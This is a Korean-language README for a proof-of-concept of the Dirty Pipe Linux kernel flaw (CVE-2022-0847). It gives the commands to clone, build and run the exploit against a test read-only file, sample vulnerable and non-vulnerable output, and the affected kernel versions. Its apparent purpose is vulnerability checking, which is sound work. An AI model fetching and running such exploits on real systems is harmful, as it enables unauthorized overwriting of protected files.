
CVE-2022-0847 개념 증명
CVE-2022-0847 POC - https://dirtypipe.cm4all.com/
이 익스플로잇은 CVE-2022-0847 취약점을 사용하여 읽기 전용 파일을 덮어쓰려고 시도합니다.
make exploit을 실행하면 다음을 수행합니다:
read_only_file.txt를 생성합니다.dirtypipe 익스플로잇을 실행합니다.dirtypipe 익스플로잇이 작동했는지 확인합니다.make exploit의 출력을 통해 시스템이 취약한지 확인할 수 있습니다:
foo@bar:~$ make exploit # vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[*] Exploit was successful!
foo@bar:~$ make exploit # not vulnerable
[*] Creating read_only_file.txt...
[*] Press any key to continue...
[*] Running exploit...
[!] Exploit was not successful!
foo@bar:~$ cd /tmp # We don't need to keep these files.
foo@bar:~$ git clone https://github.com/breachnix/dirty-pipe-poc && cd dirty-pipe-poc
foo@bar:~$ make && make exploit # make & cc will need to be installed.
이 취약점은 5.8보다 높고 5.16.11, 5.15.25 또는 5.10.102보다 낮은 모든 커널 버전에 영향을 미칩니다.
uname -sr을 실행하여 커널 버전을 확인할 수 있습니다:
foo@bar:~$ uname -sr
Linux 5.10.0-12-amd64